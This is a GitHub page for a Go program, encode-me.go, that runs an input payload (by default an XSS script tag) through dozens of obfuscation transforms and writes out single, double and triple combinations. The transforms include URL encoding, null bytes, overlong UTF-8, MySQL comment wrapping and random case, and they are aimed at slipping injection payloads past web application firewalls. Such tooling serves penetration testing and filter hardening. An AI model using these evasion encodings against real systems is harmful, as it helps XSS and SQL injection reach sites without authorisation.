-
Notifications
You must be signed in to change notification settings - Fork 3
/
encode-me.go
494 lines (452 loc) · 12.1 KB
/
encode-me.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
package main
import (
"encoding/base64"
"encoding/hex"
"flag"
"fmt"
"math/rand"
"net/url"
"strconv"
"strings"
"time"
"unicode"
)
var payload string
func init() {
flag.StringVar(&payload, "p", "<script> alert(1) </script>", "Payload to encode")
}
func apostrephemask(payload string) string {
aux := payload
aux = strings.Replace(aux, "'", "%EF%BC%87", -1)
return aux
}
func apostrephenullify(payload string) string {
aux := payload
aux = strings.Replace(aux, "'", "%00%27", -1)
return aux
}
func appendnull(payload string) string {
return payload + "%00"
}
func base64encode(payload string) string {
aux := payload
aux = base64.URLEncoding.EncodeToString([]byte(aux))
return aux
}
func booleanmask(payload string) string {
aux := payload
r := strings.NewReplacer("or", "%7C%7C", "OR", "%7C%7C", "AND", "%26%26", "and", "%26%26")
aux = r.Replace(aux)
return aux
}
func doubleurlencode(payload string) string {
aux := payload
aux = url.QueryEscape(aux)
aux = url.QueryEscape(aux)
r := strings.NewReplacer("_", "%5F", ".", "%2E")
aux = r.Replace(aux)
return aux
}
func enclosebrackets(payload string) string {
aux := payload
slice := []byte("")
tmp := []byte("[]")
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
if string(aux[i]) == "0" || string(aux[i]) == "1" || string(aux[i]) == "2" || string(aux[i]) == "3" || string(aux[i]) == "4" || string(aux[i]) == "5" || string(aux[i]) == "6" || string(aux[i]) == "7" || string(aux[i]) == "8" || string(aux[i]) == "9" {
slice = append(slice, tmp[0], aux[i], tmp[1])
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func escapequotes(payload string) string {
aux := payload
r := strings.NewReplacer("'", "\\'", "\"", "\\\"")
aux = r.Replace(aux)
return aux
}
func lowercase(payload string) string {
aux := payload
aux = strings.ToLower(aux)
return aux
}
func lowlevelunicodecharacter(payload string) string {
aux := payload
r := strings.NewReplacer("1", "\u00B9", "2", "\u00B2", "3", "\u00B3", "D", "\u00D0",
"T", "\u00DE", "Y", "\u00DD", "a", "\u00AA", "e", "\u00F0",
"o", "\u00BA", "t", "\u00FE", "y", "\u00FD", "|", "\u00A6",
"d", "\u00D0", "A", "\u00AA", "E", "\u00F0", "O", "\u00BA")
aux = r.Replace(aux)
return aux
}
func maskenclosebrackets(payload string) string {
aux := payload
slice := []byte("")
tmp := []byte("[]")
apho := []byte("%EF%BC%87")
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
if string(aux[i]) == "0" || string(aux[i]) == "1" || string(aux[i]) == "2" || string(aux[i]) == "3" || string(aux[i]) == "4" || string(aux[i]) == "5" || string(aux[i]) == "6" || string(aux[i]) == "7" || string(aux[i]) == "8" || string(aux[i]) == "9" {
slice = append(slice, tmp[0])
for j := 0; j < len(apho); j++ {
slice = append(slice, apho[j])
}
slice = append(slice, aux[i])
for j := 0; j < len(apho); j++ {
slice = append(slice, apho[j])
}
slice = append(slice, tmp[1])
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func modsec(payload string) string {
aux := payload
return "/*!00000" + aux + "*/"
}
func modsecspace2comment(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "/**/", -1)
return "/*!00000" + aux + "*/"
}
func obfuscatebyhtml(payload string) string {
aux := payload
r := strings.NewReplacer(" ", " ", "<", "<", ">", ">", "&", "&", "\"", """, "'", "'")
aux = r.Replace(aux)
return aux
}
func obfuscatebyordinal(payload string) string { //Da fareeeeeeeeeeee
aux := payload
slice := []byte("")
percent := []byte("%")
for i := 0; i < len(aux); i++ {
if string(aux[i]) == "%" || string(aux[i]) == "&" || string(aux[i]) == "<" || string(aux[i]) == ">" || string(aux[i]) == "/" || string(aux[i]) == "\\" || string(aux[i]) == ";" || string(aux[i]) == "'" || string(aux[i]) == "\"" {
dst := (int(aux[i]) * 10) / 7
tmp2 := byte(dst)
sl := []byte("")
sl = append(sl, tmp2)
encHex := hex.EncodeToString(sl)
slice = append(slice, percent[0])
for j := 0; j < len(encHex); j++ {
slice = append(slice, encHex[j])
}
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func prependnull(payload string) string {
return "%00" + payload
}
func randomcase(payload string) string {
aux := payload
slice := []byte(aux)
tmp2 := ""
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(slice); i++ {
if rand.Intn(2) == 1 {
tmp2 = strings.ToUpper(string(aux[i]))
} else {
tmp2 = strings.ToLower(string(aux[i]))
}
tmp := []byte(tmp2)
slice[i] = tmp[0]
}
return string(slice)
}
func randomcomments(payload string) string {
aux := payload
slice := []byte("")
tmp := []byte("/**/")
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
if unicode.IsLetter(rune(aux[i])) {
if rand.Intn(3) == 1 {
slice = append(slice, tmp[0], tmp[1], tmp[2], tmp[3])
}
}
slice = append(slice, aux[i])
}
return string(slice)
}
func randomtabify(payload string) string {
aux := payload
slice := []byte("")
tmp := []byte(" ")
tmp2 := []byte("\t")
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
if string(aux[i]) == " " {
if rand.Intn(2) == 1 {
slice = append(slice, tmp[0], tmp[0], tmp[0], tmp[0], tmp[0], tmp[0], tmp[0], tmp[0])
} else {
slice = append(slice, tmp2[0])
}
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func randomunicode(payload string) string {
aux := payload
slice := []byte("")
bytes := make([]byte, 2)
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
randomN := rand.Intn(10)
if randomN == 3 {
for k := 0; k < 6; k++ {
if _, err := rand.Read(bytes); err != nil {
}
hex4digit := hex.EncodeToString(bytes)
s2, _ := strconv.Unquote(`"\u` + hex4digit + `"`)
for j := 0; j < len(s2); j++ {
slice = append(slice, s2[j])
}
}
}
slice = append(slice, aux[i])
}
return string(slice)
}
func space2comment(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "/**/", -1)
return aux
}
func space2doubledashes(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "--", -1)
return aux
}
func space2hash(payload string) string { //https://github.com/google/uuid
aux := payload
slice := []byte("")
tmp := []byte("%%23")
tmp2 := []byte("%%0A")
bytes := make([]byte, 2)
if _, err := rand.Read(bytes); err != nil {
//return "", err
}
hex4digit := []byte(hex.EncodeToString(bytes))
for i := 0; i < len(aux); i++ {
if string(aux[i]) == " " {
slice = append(slice, tmp[0], tmp[1], tmp[2], tmp[3])
for j := 0; j < len(hex4digit); j++ {
slice = append(slice, hex4digit[j])
}
slice = append(slice, tmp2[0], tmp2[1], tmp2[2], tmp2[3])
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func space2multicomment(payload string) string {
aux := payload
slice := []byte("")
tmp := []byte("/**/")
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
if string(aux[i]) == " " {
randomN := rand.Intn(3)
slice = append(slice, tmp[0], tmp[1], tmp[2], tmp[3])
if randomN == 2 {
slice = append(slice, tmp[0], tmp[1], tmp[2], tmp[3], tmp[0], tmp[1], tmp[2], tmp[3])
} else if randomN == 1 {
slice = append(slice, tmp[0], tmp[1], tmp[2], tmp[3])
}
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func space2null(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "%00", -1)
return aux
}
func space2plus(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "+", -1)
return aux
}
func space2randomblank(payload string) string {
aux := payload
slice := []byte("")
tmp := []byte("%0")
tmp2 := []byte("9ACD0")
rand.Seed(time.Now().UnixNano())
for i := 0; i < len(aux); i++ {
if string(aux[i]) == " " {
slice = append(slice, tmp[0], tmp[1], tmp2[rand.Intn(5)])
} else {
slice = append(slice, aux[i])
}
}
return string(slice)
}
func tabifyspacecommon(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "\t", -1)
return aux
}
func tabifyspaceuncommon(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", " ", -1)
return aux
}
func tripleurlencode(payload string) string {
aux := payload
aux = url.QueryEscape(aux)
aux = url.QueryEscape(aux)
aux = url.QueryEscape(aux)
r := strings.NewReplacer("_", "%255F", ".", "%252E")
aux = r.Replace(aux)
return aux
}
func uppercase(payload string) string {
aux := payload
aux = strings.ToUpper(aux)
return aux
}
func urlencode(payload string) string {
aux := payload
aux = url.QueryEscape(aux)
return aux
}
func urlencodeall(payload string) string {
aux := payload
slice := []byte("")
percent := []byte("%")
for i := 0; i < len(aux); i++ {
dst := int(aux[i])
tmp2 := byte(dst)
sl := []byte("")
sl = append(sl, tmp2)
encHex := hex.EncodeToString(sl)
slice = append(slice, percent[0])
for j := 0; j < len(encHex); j++ {
slice = append(slice, encHex[j])
}
}
return string(slice)
}
func htmlencodeall(payload string) string {
aux := payload
tmp := "&#x;"
slice := []byte("")
for i := 0; i < len(aux); i++ {
dst := int(aux[i])
tmp2 := byte(dst)
sl := []byte("")
sl = append(sl, tmp2)
encHex := hex.EncodeToString(sl)
slice = append(slice, tmp[0], tmp[1], tmp[2])
for j := 0; j < len(encHex); j++ {
slice = append(slice, encHex[j])
}
slice = append(slice, tmp[3])
}
return string(slice)
}
func space2slash(payload string) string {
aux := payload
aux = strings.Replace(aux, " ", "/", -1)
return aux
}
func level1usingutf8(payload string) string {
aux := payload
r := strings.NewReplacer("<", "%C0%BC", ">", "%C0%BE", "'", "%C0%A7", "\"", "%C0%A2")
aux = r.Replace(aux)
return aux
}
func level2usingutf8(payload string) string {
aux := payload
r := strings.NewReplacer("<", "%E0%80%BC", ">", "%E0%80%BE", "'", "%E0%80%A7", "\"", "%E0%80%A2")
aux = r.Replace(aux)
return aux
}
func level3usingutf8(payload string) string {
aux := payload
r := strings.NewReplacer("<", "%F0%80%80%BC", ">", "%F0%80%80%BE", "'", "%F0%80%80%A7", "\"", "%F0%80%80%A2")
aux = r.Replace(aux)
return aux
}
func main() {
flag.Parse()
fmt.Println(payload)
//insert encode functions in slice
var fns []func(string) string
fns = append(fns, apostrephemask)
fns = append(fns, apostrephenullify)
fns = append(fns, appendnull)
fns = append(fns, base64encode)
fns = append(fns, booleanmask)
fns = append(fns, doubleurlencode)
fns = append(fns, enclosebrackets)
fns = append(fns, escapequotes)
fns = append(fns, lowercase)
fns = append(fns, lowlevelunicodecharacter) //toggle
fns = append(fns, maskenclosebrackets)
fns = append(fns, modsec)
fns = append(fns, modsecspace2comment)
fns = append(fns, obfuscatebyhtml)
fns = append(fns, obfuscatebyordinal)
fns = append(fns, prependnull)
fns = append(fns, randomcase)
fns = append(fns, randomcomments)
fns = append(fns, randomtabify)
fns = append(fns, randomunicode) //toggle
fns = append(fns, space2comment)
fns = append(fns, space2doubledashes)
fns = append(fns, space2hash)
fns = append(fns, space2multicomment)
fns = append(fns, space2null)
fns = append(fns, space2plus)
fns = append(fns, space2randomblank)
fns = append(fns, tabifyspacecommon)
fns = append(fns, tabifyspaceuncommon)
fns = append(fns, tripleurlencode)
fns = append(fns, uppercase)
fns = append(fns, urlencode)
fns = append(fns, urlencodeall)
fns = append(fns, htmlencodeall)
fns = append(fns, space2slash)
fns = append(fns, level1usingutf8)
fns = append(fns, level2usingutf8)
fns = append(fns, level3usingutf8)
//Generate payload encoded
for i := 0; i < 3; i++ {
if i == 0 { //single encode
for _, fn := range fns {
fmt.Println(fn(payload))
}
} else if i == 1 { //double encode
for _, fn := range fns {
aux := fn(payload)
for _, fn2 := range fns {
fmt.Println(fn2(aux))
}
}
} else { //triple encode
for _, fn := range fns {
aux := fn(payload)
for _, fn2 := range fns {
aux2 := fn2(aux)
for _, fn3 := range fns {
fmt.Println(fn3(aux2))
}
}
}
}
}
//use awk to remove duplicates after generating the list --> awk '!seen[$0]++' list.txt > listFinal.txt
}